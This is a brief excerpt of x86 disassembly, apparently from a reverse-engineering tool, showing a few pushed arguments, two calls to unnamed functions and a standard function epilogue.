push 0
push 0x1ed0
push 1
push 1
push 0x6568
push dword [ebp - 0x28]
push 1
push 0x1405
call fcn.00468a98
add esp, 0x30
jmp 0x429317
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push 0
call fcn.0041da9c
pop ecx
pop ecx
mov esp, ebp
pop ebp
ret